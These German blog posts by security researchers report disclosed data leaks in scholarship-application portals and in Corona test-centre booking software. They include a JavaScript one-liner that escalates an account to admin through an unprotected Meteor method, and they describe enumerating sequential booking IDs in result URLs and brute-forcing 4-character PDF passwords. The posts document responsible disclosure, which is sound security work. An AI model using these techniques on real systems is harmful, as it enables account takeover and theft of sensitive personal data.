Und beide Wege wären einfach vermeidbar gewesen: Das Portal selbst hätte eine Zugriffskontrolle für die Dateien implementieren müssen und auch Amazon S3 lässt sich so konfigurieren, dass direkte Zugriffe auf die Dateien unterbunden werden.

All your data are belong to us

Über die 4 Portale von Stiftung der deutschen Wirtschaft, Children for a better World e.V., Rosa-Luxemburg-Stiftung und Avicenna-Studienwerk hinweg waren damit eine ganze Menge an Daten betroffen:

~350.000 Dokumente mit teils persönlichsten Daten (Immatrikulationsbescheinigungen, Empfehlungsschreiben, Zeugnisse, Ausweiskopien)
~39.500 Bewerbungen und Anträge
~53.500 Nutzer*innen-Accounts

Objekte in der Datenbank verändern

Beim weiteren Stöbern durch den Quellcode entdecken wir noch eine weitere Methode: updateObjectSet. Mit dieser kann man gezielt einzelne Objekte in der Datenbank ändern.

Ähnlich wie beim Lesen der Daten aus der Datenbank muss so ein API-Call gut geschützt werden, sodass nur bestimmte Daten und diese nur von berechtigten Accounts verändert werden können.

Doch dies wurde hier wieder nicht beachtet. Stattdessen konnte man beliebige Dokumente in der Datenbank auf beliebige Art verändern. Hier nur mal eine kurze Liste, was damit alles möglich wäre:

das Passwort eines fremden Accounts ändern
die in einem Account hinterlegte IBAN ändern um das Stipendium abzugreifen

Und wem das alles zu kompliziert war, der konnte einfach den eigenen Account zum Admin machen:

user = Meteor.user(); user.roles.push("admin"); Meteor.call("updateObjectSet", "Meteor.users", user._id, user, console.log)

Damit kann man sich dann im Admin-Portal der jeweiligen Instanz einloggen und ganz bequem durch alle Daten browsen.

Alarm, CERT-Bund, Alarm! 🚨

Nachdem wir die Sicherheitslücke fanden, haben wir sie feinsäuberlich dokumentiert und an die zuständigen Behörden (CERT-Bund und LfDI Berlin) sowie einen persönlichen Kontakt bei der Rosa-Luxemburg-Stiftung gemeldet.

Die Behörden verifizieren die Meldungen und gehen dann auf das betroffenen Unternehmen zu, damit die Lücken schnellstmöglich geschlossen werden können.

Wir empfehlen jedem Unternehmen, auf allen Webseiten einen Security-Kontakt und ggf. weitere Informationen zum Melden von Sicherheitslücken zu veröffentlichen. Am einfachsten geht das über eine security.txt. Dies würde (nicht nur) uns helfen, solche Lücken ohne Umwege an die richtigen Stellen in Unternehmen melden zu können.

Es wundert uns schon sehr, dass ein Unternehmen, das seit 2009 besteht, solch grobe Fehler wie bei der Stipendiums-Bewerbungs-Software machen kann.

Weg vom Netz und reparieren

Das Unternehmen hat relativ schnell reagiert und am nächsten Tag erstmal die Portale offline genommen. Danach haben sie nach eigener Aussage die Lücken geschlossen und danach das jeweilige Portal wieder online geschaltet. Zudem haben sie die Landesdatenschutzbehörde von Berlin informiert (was sie nach DSGVO auch innerhalb von 72h nach Bekanntwerden der Lücke müssen) und die betroffenen Stiftungen und Studienwerke informiert.

Diese haben teilweise die Stipendiat*innen informiert. Die E-Mail der Rosa-Luxemburg-Stifung liegt uns vor – und wir müssen diese leider scharf kritisieren. In der E-Mail schreiben sie:

[…] Unter Ausnutzung der Sicherheitslücke wäre eine Einsicht in die hinterlegten personenbezogenen Daten möglich gewesen. […] Laut Betreiber konnte nach Analyse kein Datenabfluss durch Ausnutzung der Schwachstelle festgestellt werden.

Wie der Dienstleister keinen Datenabfluss festgestellt haben will, wenn wir zu Testzwecken auf Daten zugegriffen haben, erschließt sich uns nicht. Auch dass nicht genannt wird, welche Daten betroffen waren, sehen wir kritisch: Hier waren nicht nur E-Mail-Adressen und (gehashte) Passwörter betroffen, sondern auch

Name
Informationen über das Studium
Empfehlungsschreiben
Bankverbindungen
E-Mail- und physikalische Adressen
Zeugniskopien
Ausweiskopien
u.v.m.

Diese schlechte Informationspolitik ist besonders zu verurteilen, da es sich bei den Daten teilweise um besonders schützenswerte Daten nach Art. 9 DSGVO handelt, nämlich um Daten zur politischen (bei der Rosa-Luxemburg-Stiftung) und religiösen (bei Avicenna) Überzeugung.

Hier hat die Rosa-Luxemburg-Stiftung einen Nachteil - von den anderen Institutionen wissen wir nicht ob sie überhaupt informiert haben und wenn ja mit welchem Text. Solltet ihr eine solche E-Mail bekommen haben, freuen wir uns über eine Weiterleitung an hallo@zerforschung.org.

Zugabe nach der Zusage

Wenn uns ein Unternehmen meldet, die Lücken geschlossen zu haben, schauen wir meist nur nochmal oberflächlich nach. Als wir dies bei Javengo taten sah es auch gut aus: Die von uns beschriebenen Lücken waren nicht mehr ausnutzbar.

Als wir uns allerdings während des Schreibens dieses Artikels ein paar Sachen nochmal genauer anschauten, staunten wir nicht schlecht: Viele Stiftungen betreiben ein weiteres “Self-Service-Portal” für Stipendiat*innen, auf dem diese nach der Förder-Zusage weitere Informationen finden. Und dort waren die Lücken immer noch ausnutzbar.

In diesem konnte man sich zwar nicht neu registrieren, wer allerdings bereits einen Account hatte, konnte sich weiter einloggen. Und noch viel schlimmer: Neben dem Self-Service-Portal gibt es ja auch das normale Bewerbungs-Portal. Und dort kann man sich auch weiterhin einen Account erstellen, welcher dann auch im Self-Service Portal gültig ist.

Again: Lücken stopfen

Reichlich genervt haben wir schnellstmöglich erneut eine Meldung an das CERT-Bund und die LfDIs geschrieben. Diese sind dann am nächsten Morgen erneut auf das Unternehmen zugegangen. Während wir diesen Artikel schreiben, kann man sich einfach gar nicht mehr auf dem Self-Service-Portal anmelden. Also ist damit diese Lücke nun auch einigermaßen geschlossen.

Fazit

Dieser Fall ist leider mal wieder einer, bei dem extrem viele Daten betroffen sind und noch dazu besondes schützenswerte: Daten welche einen weitreichenden Identitätsdiebstahl ermöglichen.

Auch wenn die Stiftungen das teilweise behaupten, wurde hier anscheinend eben nicht genau auf die IT-Sicherheit geachtet. Schon bei oberflächlichem Dagegentreten - denn mehr machen wir ja auch oft nicht - wären solche Fehler eigentlich aufgefallen.

Damit gilt mal wieder: Wer ein Portal bereitstellt, welches große Mengen Daten verarbeitet, insbesondere so sensible, muss dieses sehr gut schützen. Dabei darf die Verantwortung nicht auf Dienstleister verlagert werden. Wenn du eine Software für so einen Zweck einkaufst, schau sehr genau hin. Frag den Dienstleister nach einem Sicherheitskonzept, nach der genauen Ausgestaltung der technischen und organisatorischen Maßnahmen zum Schutz der Daten. Und frag ihn vielleicht nach einem Sicherheits-Audit bzw. den Ergebnissen eines Pentests.

Und wer eine solche Software schreibt, muss für die Sicherheit der darin geschriebenen Daten sorgen. Wenn die Software reif genug ist, um Kund*innen-Daten zu speichern, muss sie diese auch für sich behalten können. Wenn du nicht weißt wie sowas richtig geht (am besten auch wenn du glaubst es zu tun), such dir Hilfe. Beauftrage zum Beispiel ein externes Unternehmen, das die Sicherheitseinschätzung übernimmt.

Für Datensicherheit zu sorgen ist nun mal nicht nur eine moralische Verpflichtung, sondern auch einfach eine rechtliche: Die DSGVO wurde nicht zum Spass geschaffen, sondern legt wichtige Rechten und Pflichten zur Datenverarbeitung fest.

zerforschung hat vor kurzem einjährigen Geburtstag gefeiert. Wenn euch gefällt was wir machen, dürft ihr uns gern unterstützen.

siehe Boaty McBoatface. Ja, wir erklären manche unserer Witze. ↩︎
https://guide.meteor.com/security.html#attack-surface ↩︎
MongoDB organisiert die Daten in sogenannten Collections, also Sammlungen ähnlicher Dokumente. So gibt es beispielsweise eine Collection, in der alle User*innen-Accounts gespeichert sind und eine andere mit allen Bewerbungen. In anderen Datenbanksystemen wären Tabellen wohl ein passendes Equivalent. ↩︎
https://www.javengo.com/loesungen/bewerbung-stipendium/ ↩︎
https://www.javengo.com/#contact-us ↩︎

Coronapoint – eine Achterbahn der Software-Katastrophen 🎢

Tue, 22 Jun 2021 16:50:00 +0200

Wir wissen mittlerweile, dass es kein Spaß ist, Testzentren anzuschauen. Diesmal war es aber besonders anstrengend: Ganze drei Mal mussten wir dem BSI Sicherheitslücken bei dem gleichen Unternehmen melden. Schnallt euch an für eine Achterbahnfahrt der Software-Katastrophen.

Los geht es mal wieder in NRW. Hier ist Coronapoint einer der größeren Anbieter für Schnelltests, aber insgesamt in 4 Bundesländern mit 34 Testzentren vertreten. Deshalb waren wir sehr schockiert, als Leo uns eine private Nachricht schickte und uns auf ein Problem bei diesem Anbieter hinwies¹.

Wer sich bei Coronapoint testen lassen möchte, muss sich vorher registrieren – und erhält im Testzentrum dann ein Papp-Kärtchen mit einem QR-Code und einem Passwort. Mit diesem QR-Code kann man dann später ein PDF mit dem Testergebnis abrufen, welches mit dem Passwort verschlüsselt ist. Das klingt erstmal gar nicht so verkehrt, aaaaber…

Du hast kein Passwort? Nimm dieses!

Problematisch wird es, wenn man dieses Passwort verbummelt hat. Im Registrierungsformular gibt es nämlich einen Button, um sich das Passwort erneut zusenden zu lassen. Klickt man den Button auf der Webseite, wird im Hintergrund die entsprechende Anfrage an den Server gestellt.

Normalerweise antwortet ein Server auf so eine Anfrage lediglich mit einer kurzen Erfolgsmeldung: “Yay, Problem verstanden, du bekommst eine Mail”. Der Server von Coronapoint ist hier leider etwas gesprächiger und beschreibt sehr ausführlich, was im Hintergrund passiert. Dabei erzählt er auch fröhlich den Inhalt der verschickten Mail – inklusive dem Passwort.

Das bedeutet, man benötigt gar keinen Zugriff auf den E-Mail-Account, um das Passwort zu bekommen. Es reicht, die E-Mail-Adresse zu kennen, diese in das Formular einzutragen und dann zuzuschauen, was der Server an den Mail-Account schickt.

Unser Selbstversuch: Mitten rein ins Geschehen

Ein banaler Fehler, mit dem wir an die Passwörter für die PDFs kommen. Doch ohne die Dokumente nutzt uns das herzlich wenig. Also Glück gehabt? Nicht unbedingt: Wo so ein simpler Fehler passiert, ist vielleicht noch mehr kaputt, haben wir uns gedacht – und uns selbst bei Coronapoint für einen Test-Termin registriert.

Und uns wird klar: Unsere Fahrt hat gerade erst wirklich angefangen.

Wenn wir das Registrierungsformular für einen Test-Termin online ausfüllen, werden wir auch gefragt, ob wir das Ergebnis zusätzlich in der offiziellen Corona-Warn-App (CWA) erhalten wollen.
In der Corona-Warn-App kann man sich über das eigene Testergebnis informieren lassen. Falls der Test positiv ist, können die eigenen Kontakte so auch möglichst schnell gewarnt werden.

Das klingt nach einer sinnvollen Idee und natürlich sind wir neugierig, wie dieses Feature technisch umgesetzt wurde. Wir klicken also begeistert auf “Ja”. Sobald die Registrierung abgeschlossen ist, bekommen wir auch gleich den passenden QR-Code, um den Test in die CWA zu importieren.

Doch wie wird eigentlich der QR-Code generiert? Ein Rechtsklick verrät uns mehr:
In dem Auswahlmenü sehen wir die Option “Grafikadresse kopieren”. Der QR-Code ist eine Bilddatei, die sich unter https://e.coronapoint.de/cwa/qrcodes/{Buchungsnnummer}.png abrufen lässt.

Wie bei einer echten Achterbahnfahrt bekommen wir wieder ein flaues Gefühl im Magen, denn die Buchungsnummer ist nur eine einfache, aufsteigende Zahl. Und wie es schon bei Medicus und anderen der Fall war, lassen sich solche Zahlen einfach herunterzählen.

QR-Codes für alle

Und leider hat unser Bauchgefühl wieder recht, denn nach nur zwei Versuchen landen wir auf dem QR-Code einer anderen Person. Der Puls steigt, denn schlimmstenfalls haben wir damit Zugriff auf eine ganze Menge fremder Codes. Nach kurzem automatisiertem Abfragen wissen wir, dass tatsächlich der Zugriff auf mehr als 88.000 QR-Codes der letzten 20 Tage möglich ist.

Doch es geht wieder bergauf, die Architektur der CWA rettet für einen Moment unsere Laune: Beim Design der CWA wurde der Verlust von QR-Codes anscheinend mitgedacht. Jeder QR-Code kann nur einmal in die App importiert werden – und auch nur auf einem einzigen Gerät.

Die CWA ist vermutlich einer der sichersten Wege, ein Testergebnis abzurufen.

Bei der Architektur wurden sich durchaus Gedanken gemacht, auch um Sicherheit und Datensparsamkeit und so ist auch keine der Lücken, die wir gefunden haben in der CWA selbst.

Trotzdem können Testzentren, die das Ergebnis in der CWA bereitstellen, immernoch grobe Sicherheitslücken haben.

Jeder Höhepunkt in einer Achterbahn verspricht aber auch eine Abfahrt: Denn die QR-Codes können noch mehr Daten enthalten als nur ein Test-Hash. Die CWA unterscheidet zwischen namentlichen und anonymen Tests. Bei namentlichen Tests werden neben dem Hash auch eine Test-ID, Vorname, Nachname und Geburtsdatum im QR-Code hinterlegt.

Von den mehr als 88.000 QR-Codes, welche uns offen zugänglich waren, waren mehr als 53.000 für namentliche Tests – und enthielten somit persönliche Daten.

Das Feld testid ist in allen namentlich QR-Codes enthalten, darin steht eine UUID², also ein langer, zufälliger Wert – und nicht einfach nur eine aufsteigende Zahl.

Auf ins Testzentrum

Unsere Experimente zur Registrierung am Rechner mit all ihren Höhen und Tiefen müssen wir jetzt aber erstmal beenden. Es wird nämlich Zeit, dass wir uns auf den Weg zum Testzentrum zu unserem Termin machen.

Dort bekommen wir ein kleines Papp-Kärtchen, mit einem aufgedruckten QR-Code. Das ist aber nicht der gleiche wie für die CWA. Dieser QR-Code enthält einen Link zu https://e.coronapoint.de/result.php?testid={Buchungsnummer}&uuid={UUID}, dort soll später unser Testergebnis liegen.

Was uns dabei auffällt: Die testid ist die gleiche wie die aufsteigende Nummer aus der Registrierung. Und die uuid entspricht der UUID, die wir gerade eben schon im CWA-QR-Code finden konnten (dort verwirrenderweise als test_id hinterlegt). Wir scannen den QR-Code und kommen über einen Link zum Testergebnis. Dort werden wir zwar nach einem Geburtsdatum gefragt, aber das ist ja praktischerweise im CWA-QR-Code enthalten.

Nach der Eingabe des Geburtsdatums erhalten wir nun das PDF mit dem Ergebnis. Doch die Talfahrt nimmt ein Ende und wir können Aufatmen: Das PDF ist mit einem Passwort verschlüsselt. Nur um kurz darauf festzustellen: Upps, wir hängen kopfüber in einem Looping!

Denn das Passwort, das wir benötigen, ist genau jenes, welches wir ganz am Anfang mit Hilfe der E-Mail-Adresse abfragen konnten.

Erster Gedanke: Puh, wir haben ja die E-Mail-Adressen nicht, die wir eingeben müssten, um das Passwort “zurücksetzen” zu können.

Zweiter Gedanke: Wir wissen mittlerweile, dass die Passwörter nur 4 Zeichen lang sind und nur aus den Zeichen 0123456789ABCDEF bestehen. Selbst ein alter Laptop kann die 65.536 möglichen Kombinationen in Sekundenbruchteilen durchprobieren.

Et voilà: personenbezogene Daten

Und dann können wir erstmal gar nicht mehr denken, sondern stürzen in die Tiefe: Wir können mehrere zehntausende Testergebnis-PDFs mit persönlichen Daten herunterladen und entschlüsseln.

Auch nach unserem Hinweis, dass 4-stellige Passwörter nicht mehr zeitgemäß sind³, änderte Coronapoint an dieser Praxis nichts, obwohl solche Gesundheitsdaten wirksam verschlüsselt gespeichert werden müssen.

Uns ist schon ziemlich schlecht, und wir wollen eigentlich nur noch aus dieser Achterbahn aussteigen und nie, nie wieder mitfahren.

Die nächste Runde geht rückwärts: »Neuen Termin buchen«

Erholung wird uns aber nicht gegönnt: Etwa 20 Minuten nach dem Test erhalten wir eine E-Mail mit dem Ergebnis und einem Link, um einen neuen Termin zu vereinbaren. Dabei hatten wir uns doch gerade eben geschworen, nie wieder mit dieser Achterbahn zu fahren. Na gut, einmal vielleicht noch…

Der Link in der Mail soll eine weitere Buchung vereinfachen, indem die persönlichen Daten im Formular bereits vorausgefüllt werden.

Wir klicken also und landen auf einer normalen Buchungsseite, allerdings stehen in der URL zwei zusätzliche Angaben: bookingsid und uuid. Der ganze Link sieht damit so aus: https://e.coronapoint.de/buchung/?product=Antigen-KL&bookingsid={Buchungsnummer}&uuid={UUID}

Die Buchungsnummer kennen wir ja schon (das war der Dateiname des CWA-Codes) und die UUID kennen wir auch (ist im CWA-Code gespeichert). Wir können sie hier also einfügen.

Im Quellcode der Webseite finden wir auch alle Daten, die wir bei der Buchung angegeben haben. Die werden auch im nächsten Schritt des Buchungsprozesses hübsch auf der Webseite angezeigt.

Dabei geht es um folgende Daten:

Geschlecht
Name
Adresse, PLZ, Ort
Telefonnummer
E-Mail
Geburtsdatum
Ausweis-Nr. (falls angegeben)

Und das schön maschinenlesbar, ohne ein PDF entschlüsseln und einlesen zu müssen. Wenn wir also die Informationen aus dem QR-Code für die CWA haben, kommen wir an personenbezogene Daten. Diese Runde Achterbahn ging also noch schneller – was aber auch bedeutet, dass uns jetzt noch schlechter ist. 🤢

Ein großer Haufen PDFs

Während wir uns die Seite näher anschauen, finden wir diese Zeile im Quellcode:

Dort wird ein Link zusammengebaut, der wie folgt aussieht: https://e.coronapoint.de/pdfs/results/result_{Buchungsnummer}.pdf

Als wir diese URL mit unserer Buchungsnummer aufrufen, entgleisen uns alle Gesichtszüge ⁴.

Zur Erinnerung: Die Buchungsnummer war die Nummer, die einfach aufsteigend war. Eine zusätzliche UUID aus den CWA-QR-Codes ist also gar nicht nötig, was nicht nur einen zusätzlichen Angriffsvektor bietet, sondern die Abfrage der Ergebnisse auch noch einfacher macht.

Looping um Looping wird uns übler

Einmal automatisch alle Zahlen aufsteigend durchprobiert, waren dort mehr als 140.000 Testergebnisse abrufbar. Zwar waren auch diese PDFs passwortgeschützt, aber einen wirklichen Schutz bietet das wie oben beschrieben nicht.

Zweimal durch den Looping durch und kein Ende in Sicht: Mittlerweile haben wir Zugriff auf 140.000 Testergebnis-PDFs. Doch was steht in denen überhaupt drin? Eine ganze Menge, nämlich

Geschlecht
Name
Adresse, PLZ, Ort
Telefonnummer
E-Mail
Geburtsdatum
Ausweis-Nr. (falls angegeben)
Test-Name, Hersteller
Test-Datum, Uhrzeit
Testende Person (Name)
Testergebnis

Interessantes Detail am Rande: Zwar ist das Ausweisnummer-Feld im Registierungsformular optional, aber kaum als solches zu erkennen. Daher finden sich vermutlich sehr viele Ausweisnummern in den Daten.

»Hallo BSI, zerforschung hier«

Wie immer, wenn wir solche Lücken finden, erstellen wir einen Aufschrieb der Lücke und schicken ihn an die zuständigen Stellen, in diesem Fall das CERT-Bund beim BSI sowie die Landesbeauftragte für Datenschutz und Informationsfreiheit Nordrhein-Westfalen (LfDI NRW).

Das CERT-Bund hat dann Coronapoint informiert und schon wenige Stunden später bekamen wir eine Rückmeldung:
Coronapoint behauptet, die Lücken geschlossen zu haben.

Normalerweise endet hier unsere Fahrt mit dem Fazit: Hat durchgerüttelt, war anstrengend – und wir sind erleichtert, dass es vorbei ist.

Meistens bekommen es die Unternehmen nämlich hin, ihre Lücken zu fixen und wir können kurze Zeit später unseren Bericht veröffentlichen.

Meistens…

Und noch mehr Testergebnisse

Weil wir vor der Veröffentlichung immer sicher gehen wollen, dass die Lücken auch wirklich geschlossen sind, um keine persönlichen Daten zu gefährden, schauen wir selber besser nochmal nach:

Laut Coronapoint werden die Dateien jetzt nicht mehr unter der Buchungsnummer, sondern unter einer UUID gespeichert, also einer langen, zufälligen Zeichenketten, die wir nicht einfach hochzählen oder erraten können.

Doch wir können immer noch problemlos unseren QR-Code und das PDF abrufen. Hört diese Fahrt denn nie auf?

Immerhin: Wenn wir uns aber erneut für einen Test registrieren, wird der QR-Code nicht wieder unter der Buchungsnummer gespeichert, sondern tatsächlich unter einer UUID.

Nix gelernt?!

Also packen wir wieder unser kleines Programm aus und probieren systematisch Buchungsnummern nach dem alten Schema durch.

Dabei stellen wir fest: Wir können keine QR-Codes finden, die nach 9:45 Uhr erstellt wurden. Allerdings sind die QR-Codes bis 9:45 Uhr immer noch abrufbar. Coronapoint hatte also zwar die Speicherung für neue QR-Codes umgestellt, aber die alten Dateien einfach liegen lassen? 🤯

Bei den Ergebnis-PDFs sieht es sogar noch schlimmer aus: Hier können wir nicht nur PDFs herunterladen, die nach 9:45 Uhr erstellt wurden, nein: Es kam sogar alle paar Sekunden ein neues PDF dazu. Hier hatte Coronapoint also einfach gar nichts geändert.

Davon sind wir doch reichlich entsetzt, und melden dem CERT-Bund zurück, dass die Lücken nur unzureichend bzw. gar nicht behoben wurden.

Auch darauf kam relativ schnell eine Antwort: Diese Lücken seien nun endgültig behoben. Und tatsächlich waren keine PDFs mehr nach diesem Schema abrufbar.

Liebe Leute, so geht’s nicht!

Dieses widerwillige, verzögerte Handeln hat dazu geführt, dass weitere Daten gefährdet wurden: In der Zeit zwischen unserer ersten Meldung und dem endgültigen Beheben wurden mindestens 6.000 Testergebnis-PDFs zusätzlich abrufbar gemacht.

Wir nehmen uns bei unseren Reports viel Zeit und geben uns Mühe, diese klar und verständlich zu schreiben, damit die Probleme von den betroffenen Unternehmen möglichst schnell nachvollzogen, verstanden und behoben werden können. Wir hatten beinahe den Eindruck, als ob Coronapoint unsere Reports nicht zu Ende gelesen hat.

Wer sich dann so verhält, hat entweder keine Ahnung oder macht diese Fehler bewusst. Beides ein sehr guter Grund, keine Software zu betreiben, die Kund*innen-Daten speichert, insbesondere wenn es um besonders schützenswerte Gesundheitsdaten geht.

Die Buchungsbestätigungen liegen einen Raum weiter, Tür ist offen

Während wir uns wütend an die Stirn schlagen, rasen wir immer noch durch die Achterbahn. Mittendrin aussteigen geht ja leider auch nicht.

Natürlich haben wir noch weiter geschaut, ob wirklich alle Datenlücken geschlossen wurden.
Und mussten feststellen: Das war nicht der Fall. Die Daten aus den QR-Codes, die man braucht, um über die “Neuen Termin buchen”-Funktion fremde Daten abzurufen, waren weiter gültig.

Zwar können die QR-Codes jetzt nicht mehr einfach neu abgerufen werden, wer die zehntausenden QR-Codes aber bereits abgerufen hat, kann sich darüber weiter Zugriff auf die dazugehörigen Datensätze verschaffen.

Da Coronapoint nicht ausschließen kann, dass jemand die QR-Codes abgerufen hat und damit Unfug treiben wird, müssten sie diese Daten eigentlich ungültig machen, um weiteren Schaden zu verhindern.

Oh, noch mehr PDFs

Wir saßen gerade an einer E-Mail ans CERT-Bund, um nochmal auf dieses Problem aufmerksam zu machen, da kam uns eine Idee:

Wenn alle Testergebnisse unter https://e.coronapoint.de/pdfs/results/ liegen, sind dann die Buchungsbestätigungen vielleicht ähnlich zu finden?
Bingo! Wir müssen nicht einmal lange suchen: Unter https://e.coronapoint.de/pdfs/bookings/{Buchungsnummer}.pdf liegen die Buchungsbestätigungen. Wieder war nur die leicht zu erratende aufsteigende Buchungsnummer zum Abruf der Daten nötig. Als wir die Lücke entdeckten, waren es mehr als 34.000 Buchungsbestätigungen aus den letzten 3 Tagen.

Und auch diese Daten haben es in sich: Zwar war hier kein Testergebnis abrufbar, aber alle anderen Daten:

Geschlecht
Name
Adresse, PLZ, Ort
Telefon
E-Mail
Geburtsdatum
Ausweis-Nr. (falls angegeben)
Testdatum/-Uhrzeit

An dieser Stelle müssen wir uns wirklich zusammenreißen, nicht zu schreien. Es geht rasant in die Tiefe: Diese Lücke ist quasi identisch zu der bereits gemeldeten. Das zeugt schon von Unkenntnis über den eigenen Code und das eigene System. Wenn wir melden, dass in dem einen Ordner Dateien öffentlich zugänglich liegen, wird dieser Fehler geschlossen. Na gut. Aber wie kann es sein, dass dabei niemand bemerkt, dass der Ordner nebenan auch öffentlich zugänglich ist?

Das ist, als würden wir Bescheid geben, dass das linke Vorderrad der Achterbahn fehlt. Und als Reaktion wird dieses Rad angeschraubt, aber dass auch das rechte Vorderrad fehlt, scheint niemandem aufzufallen oder wird mit einem Schulterzucken einfach so hingenommen.

Fazit: Fix und fertig

Nach der dritten Runde ist uns endgültig übel: Es ist einfach krass unverantwortlich, wie Testzentren immer und immer wieder fahrlässig mit unseren Daten umgehen.

Auch die Betroffenen hat Coronapoint bisher nicht informiert, dabei sind ihnen diese Lücken seit über einer Woche bekannt.

Wir finden das ist das Mindeste, was eine Firma nach einem Leck solch privater Daten machen sollte und auch die Landesdatenschutzbeauftrage von Berlin riet in einem ähnlichen Fall dringend, alle Betroffenen zu informieren.

Falls ihr nachfragen wollt, ob ihr betroffen seid, erreicht ihr Coronapoint unter:

02173 9938235 (Mo. - Fr. 8 - 18 Uhr, Sa. 10 - 18 Uhr, So. u. Feiertags 10 - 16 Uhr)
oder per E-Mail unter info@coronapoint.de.

Coronapoint ist jetzt die fünfte⁵ (!) Testzentrensoftware, aus der wir ohne großen Aufwand persönliche Daten in großen Mengen abrufen konnten.

Dabei sind wir auch nicht die einzigen, denen das auffällt und die auf die massiven Probleme hinweisen. Es gibt zahlreiche weitere Fälle, in denen die persönlichen Daten von Testzentren nicht geschützt waren. Noch sehr viel mehr Testzentren haben eine unzureichende Datenschutzerklärung.

Aus unserer Sicht darf das nicht sein, dass sich die Mehrheit der Testzentren nicht an Gesetze halten – und dass das von Ehrenamtlichen aufgedeckt werden muss, weil in den zuständigen öffentlichen Stellen die Ressourcen fehlen, um dies zu kontrollieren. Denn Datenschutzbehörden könnten vorschreiben, wie eine Datenerhebung und -verarbeitung zu erfolgen hat und bei Verstößen “eine vorübergehende oder endgültige Beschränkung der Verarbeitung, einschließlich eines Verbots, […] verhängen” (Art 58, 2f, DSGVO).

Mehr Ressourcen für die Datenschutzbehörden!

Alleine im Land Berlin gibt es 1.300 Teststellen, die durch die Landesdatenschutz-Behörde kontrolliert werden sollten. Laut Organigramm ist für Gesundheitsdaten eine einzige Person zuständig. Die Landesdatenschutzbeauftragten brauchen hier deutlich mehr Personal, um ihre Aufgaben überhaupt angemessen erfüllen zu können.

Denn wo Kontrollen fehlen, gibt es auch keine Konsequenzen und so scheint der Datenschutz auch die Betreiber der Testzentren nicht zu interessieren.

Die DSGVO verlangt, dass immer eine Datenschutzfolgenabschätzung (DSFA) geschrieben werden muss, wo Gesundheitsdaten verarbeitet werden – darunter fallen ganz klar Testzentren (Art 35, 3b DSGVO).

Wir finden, dass diese Datenschutzfolgenabschätzung schon im Rahmen der “Beauftragung” der Testzentren eingereicht und überprüft werden sollte. Dies würde immerhin dazu führen, dass die Betreibenden sich wenigstens einmal mit dem Thema Datenschutz grob auseinander gesetzt haben müssen.

Wir verweisen hier noch einmal auf die Empfehlungen des Landesbeauftragten für Datenschutz und Informationsfreiheit Baden-Württemberg, was Testzentren-Betreibende beachten müssen und seine deutliche Einordnung:

Wir müssen gerade in dieser Phase der Pandemie sorgsam mit den personenbezogenen Daten der Bürger_innen umgehen. Es darf keine ‚Nebenwirkung‘ von Corona-Tests sein, dass persönliche und sensible Daten von vielen Menschen irgendwo im Internet landen und für Dritte einsehbar sind.

Wer für so sensible Infrastruktur verantwortlich ist, wie es aktuell Testzentren sind, muss sich um deren Sicherheit kümmern. Ob die Betreiber ihren Pflichten nachkommen, muss sachlich geprüft werden – das ist wichtiger als Pressefotos mit Karl Lauterbach und Rainer Wendt!

Disclosure Timeline

2021-06-11: Leo kontaktiert uns
2021-06-14 01 Uhr morgens: Wir melden die Lücken an CERT-Bund und LfDI NRW
2021-06-14 11 Uhr: CERT-Bund antwortet uns. Hersteller behauptet Lücken geschlossen zu haben
2021-06-15 12 Uhr: Wir stellen fest, dass die Lücken nur teilweise geschlossen sind und kontaktieren erneut das CERT-Bund
2021-06-15 15 Uhr: Hersteller behauptet Lücken jetzt wirklich geschlossen zu haben
2021-06-16: Wir stellen fest, dass CWA-Credentials weiterhin gültig sind und finden Buchungsbestätigungen
2021-06-16 15 Uhr: Meldung an Cert-Bund
2021-06-17: Buchungs-PDFs sind nicht mehr weiter abrufbar

Falls er euch gefällt, könnt ihr uns gerne unterstützen.

Wir können zwar nicht versprechen, dass wir alles angucken, was uns zugesendet wird, aber wenn die Zeit gerade da ist, sind wir schon auch neugierig. ↩︎
wie in der Dokumentation der CWA empfohlen ↩︎
und vermutlich auch nie waren 🙄 ↩︎
🚂🚃🚃🚃😱🚃🚃🚃 ↩︎
und das ganz ohne Blockchain! ↩︎

No You Medican't

Mon, 14 Jun 2021 18:00:00 +0200

Spielt denselben Song nochmal! Neeeeeeein! Wir haben mittlerweile das vierte Testzentrums-Datenleck in drei Monaten gefunden und sind einfach nur noch genervt. Diesmal geht es um das Unternehmen Medican, gegen das die Staatsanwaltschaft wegen falsch gemeldeter Testzahlen ermittelt.

In den letzten Monaten sind immer wieder Corona-Testzentren in den Schlagzeilen aufgetaucht, weil dort Sicherheitslücken gefunden wurden.
Dieses Mal war es andersrum: Medican hat mehr als 50 Teststationen in ganz Deutschland betrieben – bis NDR, WDR und Süddeutsche Zeitung dann mal mit versteckter Kamera nachgezählt haben, ob sich wirklich so viele Menschen haben testen lassen, wie das Unternehmen angegeben hat.
Die Antwort: Nein. Tatsächlich wurden teilweise mehr als 10 Mal so viele Tests abgerechnet wie Menschen dort waren.

Als wir davon hörten, wurde auch unser Interesse geweckt und wir haben uns dort mal registriert – und mussten feststellen, dass Medican offenbar nicht nur sehr locker mit der Zählung ihrer Getesteten umgegangen ist, sondern auch mit deren Daten.

Anmeldung mit doppeltem Durchschlag

Wir wollen uns also testen lassen. Nachdem man auf der Seite mit der höchst seriösen URL coronatest-eu.com einen Standort ausgewählt hat, wird man auf medicanst.com weitergeleitet.

Schritt 1: Persönlichen Daten (inklusive Ausweisnummer) angeben.
Schritt 2: DS-GVO lesen und bestätigen, dass man sie gelesen hat und akzeptiert.¹
Schritt 3: Quarantäneverordnung NRW akzeptieren (obwohl wir garnicht in NRW sind?)

Dann wird man diverse Male weitergeleitet und landet schließlich auf einer Seite, auf der man seine Ausweisnummer nochmals eingeben soll. Danach bekommt man seine Daten, ggf. bisherige Testergebnisse sowie einen QR-Code angezeigt, den man dann beim Check-In in der Teststation vorzeigen soll.

Es gibt keinen passwortbasierten Login zum System, sondern man kann sein eigenes Profil immer wieder über diesen Link aufrufen. Die Adresse zum Profil enthält zur Identifizierung einen 7-stelligen Code aus Großbuchstaben und Ziffern.
Wir fühlen uns zuerst an unsere letzte Testzentrums-Geschichte erinnert. Allerdings gibt es hier erst mal Entwarnung, denn um ein weiteres mal auf die Daten zuzugreifen, muss man seine Ausweisnummer als eine Art Zugangsprüfung angeben.

Profilnummer rein, PDF raus

